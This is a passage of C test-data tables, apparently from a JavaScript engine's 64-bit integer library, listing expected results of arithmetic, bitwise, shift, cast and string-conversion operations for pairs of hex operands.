JSLL_INIT( 0x50ba4b47, 0x591b7fc5 ), // a - b JSLL_INIT( 0x7beb0327, 0x440dcc4c ), // a * b JSLL_INIT( 0x8e042082, 0x00d45f24 ), // a & b JSLL_INIT( 0xdfde7bfb, 0xd9ffdfff ), // a | b JSLL_INIT( 0x51da5b79, 0xd92b80db ), // a ^ b JSLL_INIT( 0x20b18c1d, 0x6608208b ), // ~a JSLL_INIT( 0x20b18c1d, 0x6608208c ), // -a JSLL_INIT( 0xce7c533e, 0xfbee8000 ), // a << 13 JSLL_INIT( 0xfffefa73, 0x9f14cfbe ), // a >> 13 (signed) JSLL_INIT( 0x0006fa73, 0x9f14cfbe ), // a >> 13 (unsigned) -1711808652, UINT32_C(2583158644), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0x99f7df74 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x99f7df74 ), // (uint64_t)(uint32_t)a "df4e73e299f7df74", // a (hexadecimal) "-2355818137985228940", // a (signed decimal) "16090925935724322676", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) TRUE, FALSE, // a > b, a < b (signed) }, { // record 5 JSLL_INIT( 0xdbc76e81, 0xf66bbfa4 ), // a JSLL_INIT( 0x73029680, 0x63f12fdb ), // b JSLL_INIT( 0x4eca0502, 0x5a5cef7f ), // a + b JSLL_INIT( 0x68c4d801, 0x927a8fc9 ), // a - b JSLL_INIT( 0x6efbf5f7, 0x6bc00d4c ), // a * b JSLL_INIT( 0x53020680, 0x62612f80 ), // a & b JSLL_INIT( 0xfbc7fe81, 0xf7fbbfff ), // a | b JSLL_INIT( 0xa8c5f801, 0x959a907f ), // a ^ b JSLL_INIT( 0x2438917e, 0x0994405b ), // ~a JSLL_INIT( 0x2438917e, 0x0994405c ), // -a JSLL_INIT( 0xedd03ecd, 0x77f48000 ), // a << 13 JSLL_INIT( 0xfffede3b, 0x740fb35d ), // a >> 13 (signed) JSLL_INIT( 0x0006de3b, 0x740fb35d ), // a >> 13 (unsigned) -160710748, UINT32_C(4134256548), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0xf66bbfa4 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0xf66bbfa4 ), // (uint64_t)(uint32_t)a "dbc76e81f66bbfa4", // a (hexadecimal) "-2609995954573819996", // a (signed decimal) "15836748119135731620", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 6 JSLL_INIT( 0xed8691bb, 0x82bb54fb ), // a JSLL_INIT( 0x703fd309, 0x4c8d004e ), // b JSLL_INIT( 0x5dc664c4, 0xcf485549 ), // a + b JSLL_INIT( 0x7d46beb2, 0x362e54ad ), // a - b JSLL_INIT( 0x077ce35d, 0x2752e47a ), // a * b JSLL_INIT( 0x60069109, 0x0089004a ), // a & b JSLL_INIT( 0xfdbfd3bb, 0xcebf54ff ), // a | b JSLL_INIT( 0x9db942b2, 0xce3654b5 ), // a ^ b JSLL_INIT( 0x12796e44, 0x7d44ab04 ), // ~a JSLL_INIT( 0x12796e44, 0x7d44ab05 ), // -a JSLL_INIT( 0xd2377057, 0x6a9f6000 ), // a << 13 JSLL_INIT( 0xffff6c34, 0x8ddc15da ), // a >> 13 (signed) JSLL_INIT( 0x00076c34, 0x8ddc15da ), // a >> 13 (unsigned) -2101652229, UINT32_C(2193315067), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0x82bb54fb ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x82bb54fb ), // (uint64_t)(uint32_t)a "ed8691bb82bb54fb", // a (hexadecimal) "-1331216405303175941", // a (signed decimal) "17115527668406375675", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 7 JSLL_INIT( 0xf2fb281b, 0x136d8d93 ), // a JSLL_INIT( 0xc877850e, 0xfb688624 ), // b JSLL_INIT( 0xbb72ad2a, 0x0ed613b7 ), // a + b JSLL_INIT( 0x2a83a30c, 0x1805076f ), // a - b JSLL_INIT( 0x1b3c3b54, 0xb83adaac ), // a * b JSLL_INIT( 0xc073000a, 0x13688400 ), // a & b JSLL_INIT( 0xfaffad1f, 0xfb6d8fb7 ), // a | b JSLL_INIT( 0x3a8cad15, 0xe8050bb7 ), // a ^ b JSLL_INIT( 0x0d04d7e4, 0xec92726c ), // ~a JSLL_INIT( 0x0d04d7e4, 0xec92726d ), // -a JSLL_INIT( 0x6503626d, 0xb1b26000 ), // a << 13 JSLL_INIT( 0xffff97d9, 0x40d89b6c ), // a >> 13 (signed) JSLL_INIT( 0x000797d9, 0x40d89b6c ), // a >> 13 (unsigned) 325946771, UINT32_C(325946771), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x136d8d93 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x136d8d93 ), // (uint64_t)(uint32_t)a "f2fb281b136d8d93", // a (hexadecimal) "-938112000621441645", // a (signed decimal) "17508632073088109971", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) TRUE, FALSE, // a > b, a < b (signed) }, { // record 8 JSLL_INIT( 0xf133c40a, 0xa0940559 ), // a JSLL_INIT( 0xfa2a8afa, 0x330e977b ), // b JSLL_INIT( 0xeb5e4f04, 0xd3a29cd4 ), // a + b JSLL_INIT( 0xf7093910, 0x6d856dde ), // a - b JSLL_INIT( 0xa91cede5, 0x7c2410c3 ), // a * b JSLL_INIT( 0xf022800a, 0x20040559 ), // a & b JSLL_INIT( 0xfb3bcefa, 0xb39e977b ), // a | b JSLL_INIT( 0x0b194ef0, 0x939a9222 ), // a ^ b JSLL_INIT( 0x0ecc3bf5, 0x5f6bfaa6 ), // ~a JSLL_INIT( 0x0ecc3bf5, 0x5f6bfaa7 ), // -a JSLL_INIT( 0x78815412, 0x80ab2000 ), // a << 13 JSLL_INIT( 0xffff899e, 0x205504a0 ), // a >> 13 (signed) JSLL_INIT( 0x0007899e, 0x205504a0 ), // a >> 13 (unsigned) -1600912039, UINT32_C(2694055257), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0xa0940559 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0xa0940559 ), // (uint64_t)(uint32_t)a "f133c40aa0940559", // a (hexadecimal) "-1066293136833903271", // a (signed decimal) "17380450936875648345", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 9 JSLL_INIT( 0xdd474de4, 0xb1fd9716 ), // a JSLL_INIT( 0xdfab4223, 0x7062e07e ), // b JSLL_INIT( 0xbcf29008, 0x22607794 ), // a + b JSLL_INIT( 0xfd9c0bc1, 0x419ab698 ), // a - b JSLL_INIT( 0xf8fcdb7c, 0xf56f9cd4 ), // a * b JSLL_INIT( 0xdd034020, 0x30608016 ), // a & b JSLL_INIT( 0xdfef4fe7, 0xf1fff77e ), // a | b JSLL_INIT( 0x02ec0fc7, 0xc19f7768 ), // a ^ b JSLL_INIT( 0x22b8b21b, 0x4e0268e9 ), // ~a JSLL_INIT( 0x22b8b21b, 0x4e0268ea ), // -a JSLL_INIT( 0xe9bc963f, 0xb2e2c000 ), // a << 13 JSLL_INIT( 0xfffeea3a, 0x6f258fec ), // a >> 13 (signed) JSLL_INIT( 0x0006ea3a, 0x6f258fec ), // a >> 13 (unsigned) -1308780778, UINT32_C(2986186518), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0xb1fd9716 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0xb1fd9716 ), // (uint64_t)(uint32_t)a "dd474de4b1fd9716", // a (hexadecimal) "-2501945423346952426", // a (signed decimal) "15944798650362599190", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 10 JSLL_INIT( 0x16152741, 0x34b4132f ), // a JSLL_INIT( 0x7674eebf, 0x73e00688 ), // b JSLL_INIT( 0x8c8a1600, 0xa89419b7 ), // a + b JSLL_INIT( 0x9fa03881, 0xc0d40ca7 ), // a - b JSLL_INIT( 0xf55f6620, 0x1e3d4af8 ), // a * b JSLL_INIT( 0x16142601, 0x30a00208 ), // a & b JSLL_INIT( 0x7675efff, 0x77f417af ), // a | b JSLL_INIT( 0x6061c9fe, 0x475415a7 ), // a ^ b JSLL_INIT( 0xe9ead8be, 0xcb4becd0 ), // ~a JSLL_INIT( 0xe9ead8be, 0xcb4becd1 ), // -a JSLL_INIT( 0xa4e82696, 0x8265e000 ), // a << 13 JSLL_INIT( 0x0000b0a9, 0x3a09a5a0 ), // a >> 13 (signed) JSLL_INIT( 0x0000b0a9, 0x3a09a5a0 ), // a >> 13 (unsigned) 884216623, UINT32_C(884216623), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x34b4132f ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x34b4132f ), // (uint64_t)(uint32_t)a "1615274134b4132f", // a (hexadecimal) "1591221204355912495", // a (signed decimal) "1591221204355912495", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 11 JSLL_INIT( 0x6bd761fb, 0x94993a30 ), // a JSLL_INIT( 0xf8833ad9, 0x26e8489d ), // b JSLL_INIT( 0x645a9cd4, 0xbb8182cd ), // a + b JSLL_INIT( 0x73542722, 0x6db0f193 ), // a - b JSLL_INIT( 0xce547545, 0x15d62f70 ), // a * b JSLL_INIT( 0x688320d9, 0x04880810 ), // a & b JSLL_INIT( 0xfbd77bfb, 0xb6f97abd ), // a | b JSLL_INIT( 0x93545b22, 0xb27172ad ), // a ^ b JSLL_INIT( 0x94289e04, 0x6b66c5cf ), // ~a JSLL_INIT( 0x94289e04, 0x6b66c5d0 ), // -a JSLL_INIT( 0xec3f7293, 0x27460000 ), // a << 13 JSLL_INIT( 0x00035ebb, 0x0fdca4c9 ), // a >> 13 (signed) JSLL_INIT( 0x00035ebb, 0x0fdca4c9 ), // a >> 13 (unsigned) -1801897424, UINT32_C(2493069872), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0x94993a30 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x94993a30 ), // (uint64_t)(uint32_t)a "6bd761fb94993a30", // a (hexadecimal) "7770787415208835632", // a (signed decimal) "7770787415208835632", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) TRUE, FALSE, // a > b, a < b (signed) }, { // record 12 JSLL_INIT( 0x94d262fd, 0x8ca7d60f ), // a JSLL_INIT( 0x51759f17, 0x7012eda1 ), // b JSLL_INIT( 0xe6480214, 0xfcbac3b0 ), // a + b JSLL_INIT( 0x435cc3e6, 0x1c94e86e ), // a - b JSLL_INIT( 0xb634da79, 0x73c7826f ), // a * b JSLL_INIT( 0x10500215, 0x0002c401 ), // a & b JSLL_INIT( 0xd5f7ffff, 0xfcb7ffaf ), // a | b JSLL_INIT( 0xc5a7fdea, 0xfcb53bae ), // a ^ b JSLL_INIT( 0x6b2d9d02, 0x735829f0 ), // ~a JSLL_INIT( 0x6b2d9d02, 0x735829f1 ), // -a JSLL_INIT( 0x4c5fb194, 0xfac1e000 ), // a << 13 JSLL_INIT( 0xfffca693, 0x17ec653e ), // a >> 13 (signed) JSLL_INIT( 0x0004a693, 0x17ec653e ), // a >> 13 (unsigned) -1935157745, UINT32_C(2359809551), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0x8ca7d60f ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x8ca7d60f ), // (uint64_t)(uint32_t)a "94d262fd8ca7d60f", // a (hexadecimal) "-7723001569860921841", // a (signed decimal) "10723742503848629775", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 13 JSLL_INIT( 0xab3c6757, 0x283690d9 ), // a JSLL_INIT( 0xc7076ece, 0xf00502d9 ), // b JSLL_INIT( 0x7243d626, 0x183b93b2 ), // a + b JSLL_INIT( 0xe434f888, 0x38318e00 ), // a - b JSLL_INIT( 0xcc7e04ab, 0xc79f79f1 ), // a * b JSLL_INIT( 0x83046646, 0x200400d9 ), // a & b JSLL_INIT( 0xef3f6fdf, 0xf83792d9 ), // a | b JSLL_INIT( 0x6c3b0999, 0xd8339200 ), // a ^ b JSLL_INIT( 0x54c398a8, 0xd7c96f26 ), // ~a JSLL_INIT( 0x54c398a8, 0xd7c96f27 ), // -a JSLL_INIT( 0x8ceae506, 0xd21b2000 ), // a << 13 JSLL_INIT( 0xfffd59e3, 0x3ab941b4 ), // a >> 13 (signed) JSLL_INIT( 0x000559e3, 0x3ab941b4 ), // a >> 13 (unsigned) 674664665, UINT32_C(674664665), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x283690d9 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x283690d9 ), // (uint64_t)(uint32_t)a "ab3c6757283690d9", // a (hexadecimal) "-6107893370586754855", // a (signed decimal) "12338850703122796761", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 14 JSLL_INIT( 0x4cafebc9, 0x80de5135 ), // a JSLL_INIT( 0xf29e7d5b, 0xcf44fe2a ), // b JSLL_INIT( 0x3f4e6925, 0x50234f5f ), // a + b JSLL_INIT( 0x5a116e6d, 0xb199530b ), // a - b JSLL_INIT( 0x46ec5a7a, 0x261fe8b2 ), // a * b JSLL_INIT( 0x408e6949, 0x80445020 ), // a & b JSLL_INIT( 0xfebfffdb, 0xcfdeff3f ), // a | b JSLL_INIT( 0xbe319692, 0x4f9aaf1f ), // a ^ b JSLL_INIT( 0xb3501436, 0x7f21aeca ), // ~a JSLL_INIT( 0xb3501436, 0x7f21aecb ), // -a JSLL_INIT( 0xfd79301b, 0xca26a000 ), // a << 13 JSLL_INIT( 0x0002657f, 0x5e4c06f2 ), // a >> 13 (signed) JSLL_INIT( 0x0002657f, 0x5e4c06f2 ), // a >> 13 (unsigned) -2132913867, UINT32_C(2162053429), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0x80de5135 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x80de5135 ), // (uint64_t)(uint32_t)a "4cafebc980de5135", // a (hexadecimal) "5525894518489895221", // a (signed decimal) "5525894518489895221", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) TRUE, FALSE, // a > b, a < b (signed) }, { // record 15 JSLL_INIT( 0x6040fd1d, 0x033d6440 ), // a JSLL_INIT( 0x22dc27c5, 0xbdf42c52 ), // b JSLL_INIT( 0x831d24e2, 0xc1319092 ), // a + b JSLL_INIT( 0x3d64d557, 0x454937ee ), // a - b JSLL_INIT( 0x2ae15ea0, 0x63e51c80 ), // a * b JSLL_INIT( 0x20402505, 0x01342440 ), // a & b JSLL_INIT( 0x62dcffdd, 0xbffd6c52 ), // a | b JSLL_INIT( 0x429cdad8, 0xbec94812 ), // a ^ b JSLL_INIT( 0x9fbf02e2, 0xfcc29bbf ), // ~a JSLL_INIT( 0x9fbf02e2, 0xfcc29bc0 ), // -a JSLL_INIT( 0x1fa3a067, 0xac880000 ), // a << 13 JSLL_INIT( 0x00030207, 0xe8e819eb ), // a >> 13 (signed) JSLL_INIT( 0x00030207, 0xe8e819eb ), // a >> 13 (unsigned) 54355008, UINT32_C(54355008), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x033d6440 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x033d6440 ), // (uint64_t)(uint32_t)a "6040fd1d033d6440", // a (hexadecimal) "6935821727200797760", // a (signed decimal) "6935821727200797760", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) TRUE, FALSE, // a > b, a < b (signed) }, { // record 16 JSLL_INIT( 0x2fd28228, 0x47707a72 ), // a JSLL_INIT( 0xac3e3981, 0x07fb9db0 ), // b JSLL_INIT( 0xdc10bba9, 0x4f6c1822 ), // a + b JSLL_INIT( 0x839448a7, 0x3f74dcc2 ), // a - b JSLL_INIT( 0xfc8b6394, 0x44321860 ), // a * b JSLL_INIT( 0x2c120000, 0x07701830 ), // a & b JSLL_INIT( 0xaffebba9, 0x47fbfff2 ), // a | b JSLL_INIT( 0x83ecbba9, 0x408be7c2 ), // a ^ b JSLL_INIT( 0xd02d7dd7, 0xb88f858d ), // ~a JSLL_INIT( 0xd02d7dd7, 0xb88f858e ), // -a JSLL_INIT( 0x504508ee, 0x0f4e4000 ), // a << 13 JSLL_INIT( 0x00017e94, 0x11423b83 ), // a >> 13 (signed) JSLL_INIT( 0x00017e94, 0x11423b83 ), // a >> 13 (unsigned) 1198553714, UINT32_C(1198553714), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x47707a72 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x47707a72 ), // (uint64_t)(uint32_t)a "2fd2822847707a72", // a (hexadecimal) "3445959774400707186", // a (signed decimal) "3445959774400707186", // a (unsigned decimal) FALSE, TRUE, // a > b, a < b (unsigned) TRUE, FALSE, // a > b, a < b (signed) }, { // record 17 JSLL_INIT( 0x8ceafc99, 0xe9c9b1a3 ), // a JSLL_INIT( 0x1aaf42e9, 0xa1e09488 ), // b JSLL_INIT( 0xa79a3f83, 0x8baa462b ), // a + b JSLL_INIT( 0x723bb9b0, 0x47e91d1b ), // a - b JSLL_INIT( 0x4e5f497a, 0xbf789a98 ), // a * b JSLL_INIT( 0x08aa4089, 0xa1c09080 ), // a & b JSLL_INIT( 0x9eeffef9, 0xe9e9b5ab ), // a | b JSLL_INIT( 0x9645be70, 0x4829252b ), // a ^ b JSLL_INIT( 0x73150366, 0x16364e5c ), // ~a JSLL_INIT( 0x73150366, 0x16364e5d ), // -a JSLL_INIT( 0x5f933d39, 0x36346000 ), // a << 13 JSLL_INIT( 0xfffc6757, 0xe4cf4e4d ), // a >> 13 (signed) JSLL_INIT( 0x00046757, 0xe4cf4e4d ), // a >> 13 (unsigned) -372657757, UINT32_C(3922309539), // (int32_t) a, (uint32_t) a JSLL_INIT( 0xffffffff, 0xe9c9b1a3 ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0xe9c9b1a3 ), // (uint64_t)(uint32_t)a "8ceafc99e9c9b1a3", // a (hexadecimal) "-8292538025866841693", // a (signed decimal) "10154206047842709923", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) FALSE, TRUE, // a > b, a < b (signed) }, { // record 18 JSLL_INIT( 0x57a4e84a, 0x47782b0e ), // a JSLL_INIT( 0x4fbc9c4d, 0xb995556b ), // b JSLL_INIT( 0xa7618498, 0x010d8079 ), // a + b JSLL_INIT( 0x07e84bfc, 0x8de2d5a3 ), // a - b JSLL_INIT( 0xed98ac0a, 0xf2aba4da ), // a * b JSLL_INIT( 0x47a48848, 0x0110010a ), // a & b JSLL_INIT( 0x5fbcfc4f, 0xfffd7f6f ), // a | b JSLL_INIT( 0x18187407, 0xfeed7e65 ), // a ^ b JSLL_INIT( 0xa85b17b5, 0xb887d4f1 ), // ~a JSLL_INIT( 0xa85b17b5, 0xb887d4f2 ), // -a JSLL_INIT( 0x9d0948ef, 0x0561c000 ), // a << 13 JSLL_INIT( 0x0002bd27, 0x42523bc1 ), // a >> 13 (signed) JSLL_INIT( 0x0002bd27, 0x42523bc1 ), // a >> 13 (unsigned) 1199057678, UINT32_C(1199057678), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x47782b0e ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x47782b0e ), // (uint64_t)(uint32_t)a "57a4e84a47782b0e", // a (hexadecimal) "6315427983204559630", // a (signed decimal) "6315427983204559630", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) TRUE, FALSE, // a > b, a < b (signed) }, { // record 19 JSLL_INIT( 0x78fea910, 0x29d9300f ), // a JSLL_INIT( 0x5abd3ab6, 0xa9517f49 ), // b JSLL_INIT( 0xd3bbe3c6, 0xd32aaf58 ), // a + b JSLL_INIT( 0x1e416e59, 0x8087b0c6 ), // a - b JSLL_INIT( 0xb699697a, 0xc9852547 ), // a * b JSLL_INIT( 0x58bc2810, 0x29513009 ), // a & b JSLL_INIT( 0x7affbbb6, 0xa9d97f4f ), // a | b JSLL_INIT( 0x224393a6, 0x80884f46 ), // a ^ b JSLL_INIT( 0x870156ef, 0xd626cff0 ), // ~a JSLL_INIT( 0x870156ef, 0xd626cff1 ), // -a JSLL_INIT( 0xd522053b, 0x2601e000 ), // a << 13 JSLL_INIT( 0x0003c7f5, 0x48814ec9 ), // a >> 13 (signed) JSLL_INIT( 0x0003c7f5, 0x48814ec9 ), // a >> 13 (unsigned) 702099471, UINT32_C(702099471), // (int32_t) a, (uint32_t) a JSLL_INIT( 0x00000000, 0x29d9300f ), // (int64_t)(int32_t)a JSLL_INIT( 0x00000000, 0x29d9300f ), // (uint64_t)(uint32_t)a "78fea91029d9300f", // a (hexadecimal) "8718591815522529295", // a (signed decimal) "8718591815522529295", // a (unsigned decimal) TRUE, FALSE, // a > b, a < b (unsigned) TRUE, FALSE, // a > b, a < b (signed) }, }; typedef struct shiftrec_t { JSUint64 shl, ushr; JSInt64 shr; } shiftrec_t; typedef struct shifttest_t { JSUint64 base; shiftrec_t shift[63]; } shifttest_t; const shifttest_t shift_tests[] = { { JSLL_INIT( 0x00af305b, 0x2e171d42 ), // record 0 { { JSLL_INIT( 0x015e60b6, 0x5c2e3a84 ), // shift left 1 JSLL_INIT( 0x0057982d, 0x970b8ea1 ), // shift right (logical/unsigned) JSLL_INIT( 0x0057982d, 0x970b8ea1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x02bcc16c, 0xb85c7508 ), // shift left 2 JSLL_INIT( 0x002bcc16, 0xcb85c750 ), // shift right (logical/unsigned) JSLL_INIT( 0x002bcc16, 0xcb85c750 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x057982d9, 0x70b8ea10 ), // shift left 3 JSLL_INIT( 0x0015e60b, 0x65c2e3a8 ), // shift right (logical/unsigned) JSLL_INIT( 0x0015e60b, 0x65c2e3a8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0af305b2, 0xe171d420 ), // shift left 4 JSLL_INIT( 0x000af305, 0xb2e171d4 ), // shift right (logical/unsigned) JSLL_INIT( 0x000af305, 0xb2e171d4 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x15e60b65, 0xc2e3a840 ), // shift left 5 JSLL_INIT( 0x00057982, 0xd970b8ea ), // shift right (logical/unsigned) JSLL_INIT( 0x00057982, 0xd970b8ea ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x2bcc16cb, 0x85c75080 ), // shift left 6 JSLL_INIT( 0x0002bcc1, 0x6cb85c75 ), // shift right (logical/unsigned) JSLL_INIT( 0x0002bcc1, 0x6cb85c75 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x57982d97, 0x0b8ea100 ), // shift left 7 JSLL_INIT( 0x00015e60, 0xb65c2e3a ), // shift right (logical/unsigned) JSLL_INIT( 0x00015e60, 0xb65c2e3a ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xaf305b2e, 0x171d4200 ), // shift left 8 JSLL_INIT( 0x0000af30, 0x5b2e171d ), // shift right (logical/unsigned) JSLL_INIT( 0x0000af30, 0x5b2e171d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5e60b65c, 0x2e3a8400 ), // shift left 9 JSLL_INIT( 0x00005798, 0x2d970b8e ), // shift right (logical/unsigned) JSLL_INIT( 0x00005798, 0x2d970b8e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xbcc16cb8, 0x5c750800 ), // shift left 10 JSLL_INIT( 0x00002bcc, 0x16cb85c7 ), // shift right (logical/unsigned) JSLL_INIT( 0x00002bcc, 0x16cb85c7 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x7982d970, 0xb8ea1000 ), // shift left 11 JSLL_INIT( 0x000015e6, 0x0b65c2e3 ), // shift right (logical/unsigned) JSLL_INIT( 0x000015e6, 0x0b65c2e3 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xf305b2e1, 0x71d42000 ), // shift left 12 JSLL_INIT( 0x00000af3, 0x05b2e171 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000af3, 0x05b2e171 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xe60b65c2, 0xe3a84000 ), // shift left 13 JSLL_INIT( 0x00000579, 0x82d970b8 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000579, 0x82d970b8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xcc16cb85, 0xc7508000 ), // shift left 14 JSLL_INIT( 0x000002bc, 0xc16cb85c ), // shift right (logical/unsigned) JSLL_INIT( 0x000002bc, 0xc16cb85c ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x982d970b, 0x8ea10000 ), // shift left 15 JSLL_INIT( 0x0000015e, 0x60b65c2e ), // shift right (logical/unsigned) JSLL_INIT( 0x0000015e, 0x60b65c2e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x305b2e17, 0x1d420000 ), // shift left 16 JSLL_INIT( 0x000000af, 0x305b2e17 ), // shift right (logical/unsigned) JSLL_INIT( 0x000000af, 0x305b2e17 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x60b65c2e, 0x3a840000 ), // shift left 17 JSLL_INIT( 0x00000057, 0x982d970b ), // shift right (logical/unsigned) JSLL_INIT( 0x00000057, 0x982d970b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xc16cb85c, 0x75080000 ), // shift left 18 JSLL_INIT( 0x0000002b, 0xcc16cb85 ), // shift right (logical/unsigned) JSLL_INIT( 0x0000002b, 0xcc16cb85 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x82d970b8, 0xea100000 ), // shift left 19 JSLL_INIT( 0x00000015, 0xe60b65c2 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000015, 0xe60b65c2 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x05b2e171, 0xd4200000 ), // shift left 20 JSLL_INIT( 0x0000000a, 0xf305b2e1 ), // shift right (logical/unsigned) JSLL_INIT( 0x0000000a, 0xf305b2e1 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x0b65c2e3, 0xa8400000 ), // shift left 21 JSLL_INIT( 0x00000005, 0x7982d970 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000005, 0x7982d970 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x16cb85c7, 0x50800000 ), // shift left 22 JSLL_INIT( 0x00000002, 0xbcc16cb8 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000002, 0xbcc16cb8 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x2d970b8e, 0xa1000000 ), // shift left 23 JSLL_INIT( 0x00000001, 0x5e60b65c ), // shift right (logical/unsigned) JSLL_INIT( 0x00000001, 0x5e60b65c ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5b2e171d, 0x42000000 ), // shift left 24 JSLL_INIT( 0x00000000, 0xaf305b2e ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0xaf305b2e ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb65c2e3a, 0x84000000 ), // shift left 25 JSLL_INIT( 0x00000000, 0x57982d97 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x57982d97 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x6cb85c75, 0x08000000 ), // shift left 26 JSLL_INIT( 0x00000000, 0x2bcc16cb ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x2bcc16cb ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xd970b8ea, 0x10000000 ), // shift left 27 JSLL_INIT( 0x00000000, 0x15e60b65 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x15e60b65 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb2e171d4, 0x20000000 ), // shift left 28 JSLL_INIT( 0x00000000, 0x0af305b2 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0af305b2 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x65c2e3a8, 0x40000000 ), // shift left 29 JSLL_INIT( 0x00000000, 0x057982d9 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x057982d9 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xcb85c750, 0x80000000 ), // shift left 30 JSLL_INIT( 0x00000000, 0x02bcc16c ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x02bcc16c ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x970b8ea1, 0x00000000 ), // shift left 31 JSLL_INIT( 0x00000000, 0x015e60b6 ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x015e60b6 ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x2e171d42, 0x00000000 ), // shift left 32 JSLL_INIT( 0x00000000, 0x00af305b ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x00af305b ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0x5c2e3a84, 0x00000000 ), // shift left 33 JSLL_INIT( 0x00000000, 0x0057982d ), // shift right (logical/unsigned) JSLL_INIT( 0x00000000, 0x0057982d ) // shift right (arithmetic/signed) }, { JSLL_INIT( 0xb85c7508, 0x00000000 ), // shift left 34 JSLL_INIT( 0x00000000, 0x002bcc16 ), // shift right (logical/unsigned) JSLL_INIT( 